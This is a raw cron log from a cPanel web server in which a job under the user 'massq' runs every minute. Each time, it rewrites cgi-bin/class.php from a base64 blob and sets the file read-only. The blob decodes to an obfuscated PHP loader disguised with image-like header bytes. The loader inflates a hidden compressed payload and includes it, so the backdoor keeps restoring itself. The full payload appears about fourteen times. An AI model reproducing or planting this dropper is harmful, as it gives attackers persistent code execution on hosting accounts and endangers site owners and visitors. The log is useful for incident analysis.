Sep  2 20:06:01 server CROND[28621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:07:01 server CROND[29080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:07:01 server CROND[29081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:07:01 server CROND[29082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:08:02 server CROND[29445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:08:02 server CROND[29447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:08:02 server CROND[29446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:09:01 server CROND[29826]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 20:09:01 server CROND[29827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:09:01 server CROND[29828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:09:01 server CROND[29830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:10:01 server CROND[30215]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 20:10:01 server CROND[30216]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:10:01 server CROND[30218]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 20:10:01 server CROND[30223]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 20:10:01 server CROND[30224]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:10:01 server CROND[30222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:10:01 server CROND[30227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:10:01 server CROND[30229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:11:01 server CROND[31045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:11:01 server CROND[31046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:11:01 server CROND[31047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:12:01 server CROND[31515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:12:01 server CROND[31516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:12:01 server CROND[31517]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 20:12:01 server CROND[31518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:13:01 server CROND[31887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:13:01 server CROND[31888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:13:01 server CROND[31889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:14:01 server CROND[32253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:14:01 server CROND[32254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:14:01 server CROND[32255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:15:01 server CROND[32647]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 20:15:01 server CROND[32655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:15:01 server CROND[32658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:15:01 server CROND[32660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:15:01 server CROND[32657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:15:01 server CROND[32661]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 20:15:01 server CROND[32656]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:15:01 server CROND[32659]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 20:15:01 server CROND[32663]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 20:16:01 server CROND[1191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:16:01 server CROND[1192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:16:01 server CROND[1193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:17:01 server CROND[1706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:17:01 server CROND[1707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:17:01 server CROND[1708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:18:01 server CROND[2116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:18:01 server CROND[2117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:18:01 server CROND[2118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:19:01 server CROND[2489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
